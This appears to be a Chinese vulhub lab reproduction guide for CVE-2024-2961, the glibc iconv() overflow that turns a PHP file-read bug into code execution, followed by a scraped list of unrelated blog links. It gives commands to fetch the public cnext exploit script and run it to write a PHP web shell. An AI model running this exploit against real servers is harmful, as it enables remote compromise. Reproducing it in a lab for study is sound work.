vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
sww_102615 分钟前
SAA ReactAgent工作原理
开发语言·前端·javascript
wuqingshun31415916 分钟前
说一下什么是fail-fast
java·开发语言·jvm
进击的横打20 分钟前
【车载开发系列】入坑RH850芯片
c语言·车载系统
wuqingshun31415921 分钟前
知道java NIO吗?和java IO有什么区别?
java·开发语言·jvm
Zik----35 分钟前
Leetcode22 —— 括号生成
java·开发语言
芒克芒克35 分钟前
深入浅出Java线程池(三)
java·开发语言
A懿轩A1 小时前
【Java 基础编程】Java 常用类速查:包装类、String/StringBuilder、Math、日期类一篇搞定
java·开发语言·python·java常用类
寒秋花开曾相惜1 小时前
(学习笔记)2.2 整数表示(2.2.6 扩展一个数字的位表示)
c语言·开发语言·笔记·学习
weixin_440401691 小时前
Python数据分析(Series+DataFrame+部分运算+groupby)
开发语言·python·数据分析
宇木灵1 小时前
C语言基础-八、结构体和共同(用)体
c语言·开发语言·数据结构·笔记·学习·算法